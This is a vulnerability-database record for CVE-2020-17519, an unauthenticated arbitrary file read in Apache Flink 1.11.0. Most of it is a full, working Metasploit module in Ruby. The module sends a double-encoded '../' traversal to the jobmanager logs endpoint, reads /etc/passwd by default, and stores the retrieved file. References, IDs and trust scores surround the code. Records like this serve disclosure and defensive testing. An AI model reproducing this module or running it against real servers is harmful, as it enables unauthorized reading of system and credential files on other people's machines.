ID
VAR-E-202101-0084
CVE
| cve_id: | CVE-2020-17519 | Trust: 1.5 | 
EDB ID
49398
TITLE
Apache Flink 1.11.0 - Unauthenticated Arbitrary File Read (Metasploit) - Java webapps Exploit
Trust: 0.6
DESCRIPTION
Apache Flink 1.11.0 - Unauthenticated Arbitrary File Read (Metasploit). CVE-2020-17519 . webapps exploit for Java platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | apache | model: | flink | scope: | eq | version: | 1.11.0 | Trust: 1.6 | 
| vendor: | apache | model: | flink arbitrary file read | scope: | eq | version: | 1.11.0 | Trust: 0.5 | 
EXPLOIT
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Scanner
    include Msf::Auxiliary::Report
      def initialize(info = {})
          super(update_info(
            info,
            'Name'           => 'Apache Flink File Read Vulnerability',
            'Description'    => %q{
                This module exploits an unauthenticated directory traversal vulnerability
                in Apache Flink version 1.11.0 (and released in 1.11.1 and 1.11.2 as well),
                allowing arbitrary file read with the web server privileges
            },
            'Author'         =>
              [
                '0rich1 - Ant Security FG Lab', # Vulnerability discovery
                'Hoa Nguyen - Suncsr Team',    # Metasploit module
              ],
            'License'        => MSF_LICENSE,
            'References'     =>
              [
                ['CVE', '2020-17519'],
                ['URL', 'http://www.openwall.com/lists/oss-security/2021/01/05/2'],
                ['URL', 'https://www.tenable.com/cve/CVE-2020-17519']
              ],
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [['', {}]],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jan 05 2021'
))
            register_options([
                OptInt.new('DEPTH',[true,'Traversal Depth',12]),
                OptString.new('FILEPATH',[true,'The path file to read','/etc/passwd'])
            ])
            end
            def run_host(ip)
                traversal = '..%252f' * datastore['DEPTH']
                filename = datastore['FILEPATH'].gsub("/","%252f")
                filename = filename[1, filename.length] if filename =~ /^\//
                res = send_request_cgi({
                    'method' => 'GET',
                    'uri' => normalize_uri(target_uri.path,'jobmanager','logs',"#{traversal}#{filename}"),
                })
                fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
                fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
                print_status('Downloading file...')
                print_line("\n#{res.body}\n")
                  fname = datastore['FILEPATH']
                  path = store_loot(
                  'apache.traversal',
                  'text/plain',
                  ip,
                  res.body,
                  fname
                )
                print_good("File saved in: #{path}")
            end
        end
Trust: 1.0
EXPLOIT LANGUAGE
rb
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Unauthenticated Arbitrary File Read (Metasploit)
Trust: 1.6
TAGS
| tag: | exploit | Trust: 0.5 | 
CREDITS
SunCSR Team
Trust: 0.6
EXTERNAL IDS
| db: | OPENWALL | id: | OSS-SECURITY/2021/01/05/2 | Trust: 2.1 | 
| db: | NVD | id: | CVE-2020-17519 | Trust: 2.1 | 
| db: | EXPLOIT-DB | id: | 49398 | Trust: 1.6 | 
| db: | EDBNET | id: | 103885 | Trust: 0.6 | 
| db: | PACKETSTORM | id: | 160849 | Trust: 0.5 | 
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2020-17519 | Trust: 1.5 | 
| url: | https://www.exploit-db.com/exploits/49398/ | Trust: 0.6 | 
SOURCES
| db: | PACKETSTORM | id: | 160849 | 
| db: | EXPLOIT-DB | id: | 49398 | 
| db: | EDBNET | id: | 103885 | 
LAST UPDATE DATE
2022-07-27T09:18:07.169000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 160849 | date: | 2021-01-08T14:46:54 | 
| db: | EXPLOIT-DB | id: | 49398 | date: | 2021-01-08T00:00:00 | 
| db: | EDBNET | id: | 103885 | date: | 2021-01-08T00:00:00 | 
